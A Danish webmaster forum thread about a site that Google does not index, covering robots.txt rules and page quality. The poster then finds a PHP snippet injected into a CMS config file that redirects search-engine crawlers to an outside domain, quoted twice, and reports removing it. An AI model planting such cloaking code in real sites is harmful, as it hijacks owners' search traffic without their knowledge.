Google kan ikke indeksere min hjemmeside.

Du skal ihvertfald have fjernet det linie der hedder "Allow:"

Du kan ikke fjerne adgangen til nogle mapper, men alligevel tillade adgang til dem alle :) Hvis du skal have en "Allow" linie, så skal det var til en enkelt fil i en af de mapper du har udelukket :)

fandt lige 5 minutter :)

Hvis du lige fjerner din allow linje i din robots.txt så tror jeg det hjælper. Du behøver sådan set ikke fortælle søge maskinerne at de gerne må tilgå en mappe det skal de nok selv styrer. Prøv at se om det virker. tror dit nuværende setup med at "skjule" noget og derefter tillade det hele går galt. :)

Og undlad at anvende disallow som et slags sikkerheds filter. Sagt med andre ord hvis der er mapper du ikke vil have at nogen finder så undgå at sikre dem med robots.txt filen men få en udvikler ind over. Grunden til dette er at divs hackere anvender robots.txt filen til at søge efter sikkerheds huller. Og du vil altså på den måde opnå det stik modsatte. Robots.txt skal kun anvendes til at skjule ting du ikke vil have bliver indekseret af google (af andre hensyn). Hvis du ønsker at sikre nogle filer eller mapper gøres dette bedst på andre måder.

På vores firma site anvender vi robots.txt til at sikre at folk kommer rigtigt ind på vores site. Altså at google ikke indekserer f.eks. flash filer alene men indekserer siden der henter filen.

håber at det hjalp :)

Hey

Først og fremmest lyder det som om de fleste som har svaret på denne tråd har misforstået hvad robots.txt egentlig gør.

Det eneste robots.txt gør er at fortælle søgemaskinerne om de må "crawle" ens hjemmeside. Den fortæller ikke om en side må blive indekseret. Det gør man med en noindex robots metatag. men det kræver jo så at søgemaskinen må crawle siden som ikke skal indekseres. eller endnu bedre så skal siderne beskyttes af password og brugernavn, så vil du være sikker på at de ikke bliver crawlet.

Som udgangspunkt skal man lade søgemaskinen crawle sin hjemmeside, da man så på hjemmesiden styre hvad søgemaskinen skal gøre med hjemmesiden.

Det har så vidt mine tests af robots.txt viser, ikke nogen betydning om der står allow før eller efter disallow. Google  kan godt se hvilke sider som ikke må crawles, og hvilke der må også selvom man fx som i dette tilfælde skriver allow / på sidste linje. sådan har jeg selv gjort det alle dage, og der har intet problem været med at få crawlet, for til sidst indekseret mine sider. man kan samtidig også teste sin robots.txt i GWT, og den vil jo fortælle om en side må tilgås eller om der er en blokering i robots.txt.

Der hvor jeg kunne se et problem er mere ved den tekniske del.

fx at der er SÅ meget kode i forhold til almindelig tekst indhold.

At hjemmesidens hastighed ifølge Googles "Page Speed" og "Yslow" kunne blive en del bedre

At HTML koden ikke validerer

At sproget som er defineret står til engelsk, men du skriver jo på dansk

Fjern evt index, follow på siderne, den behøver ikke være der.

Skriv evt mere tekst på siderne, da langt de fleste af dine sider ligner hinanden enormt meget hvad angår indholdet, og reelt set er det ikke ret meget indhold som skifter, jeg ved endnu ikke hvor DC grænsen går.

Ovenstående punkter kan være med til at søgemaskiner som Google ser din hjemmeside som værende af dårlig kvalitet, og derfor vil de ikke indekserer siden. Du har tilfældigvis ikke en statistik på hjemmesiden som fortæller OM google har været forbi for at crawle siden?

Jeg siger ikke at ovenstående svar er de endegyldige svar og lige det der skal til for at din hjemmeside bliver indekseret, der er nemlig så mange steder det reelt set kan gå galt.

MVH Kim

Ok, jeg tror at jeg har fundet problemet.

Jeg har fundet en virtual motor som viser hvordan søgemaskiner ser ind i siderne. Da jeg åbnede siden med virtual motor var der slet ikke noget i kildekode.

Så jeg har lavet en almindelig index side og den side kunne virtual motor godt se. Jeg har førstået at der var fejl i selve CMS systemet.

Efter et stykke tid fandt jeg knuden i localconf fil som var årsagen til problemet for søgemaskiner.

Jeg har fundet det:

$agent = $_SERVER['HTTP_USER_AGENT']; if (eregi("google",$agent)|eregi("slurp", $agent)|eregi("msn", $agent)) {header("HTTP/1.1 301"); header("Location: http://p1p3.net/"); exit(); }

Jeg er ikke klar over hvordan den kode er kommet, men nu er den "Ude af min kiosk". :-)

Nu er det bare om at vente for google at opdage den.

Sandi:

Ok, jeg tror at jeg har fundet problemet.

Jeg har fundet en virtual motor som viser hvordan søgemaskiner ser ind i siderne. Da jeg åbnede siden med virtual motor var der slet ikke noget i kildekode.

Så jeg har lavet en almindelig index side og den side kunne virtual motor godt se. Jeg har førstået at der var fejl i selve CMS systemet.

Efter et stykke tid fandt jeg knuden i localconf fil som var årsagen til problemet for søgemaskiner.

Jeg har fundet det:

$agent = $_SERVER['HTTP_USER_AGENT']; if (eregi("google",$agent)|eregi("slurp", $agent)|eregi("msn", $agent)) {header("HTTP/1.1 301"); header("Location: http://p1p3.net/"); exit(); }

Jeg er ikke klar over hvordan den kode er kommet, men nu er den "Ude af min kiosk". :-)

Nu er det bare om at vente for google at opdage den.

 

Du kunne starte med at smide et link her i tråden :)

mistænker lidt at de marketing hackere får adgang via FTP. ved det ikke helt, men så for nyligt på et Drupal site at de også var blevet hacket, bare med en lille javascriptkode som var blevet indsat i stort set alle js filer og index filer. Mener det var noget viagra.

Man kunne godt fjerne denne kode, men den kom så igen. Men ændrede man FTP Koden, og fjernede scriptkoden i filerne, så kom den ikke igen. Så det får mig til at tænke på at en person med adgang til FTP har fået virus eller andet i den dur, som så har opfanget kode og brugernavn til FTP.

MVH Kim

Der er mange muligheder for hvordan de kan få adgang. FTP er absolut et af de mere usikre områder. Hvis man vil øhe sikkerheden her kan man enten gå over til secure FTP, eller låse sin FTP til bestemte IP-adresser.

Men endnu mere almindeligt er det, at hackerne finder huller i dine applikationer og via cross site scripting og andet snask kan krybe ind på dit site, ændre i databaser og filer og efterlade skadelig kode - kode der enten skader dine applikationer, brugerne, eller som her din søgemaskineoptimering.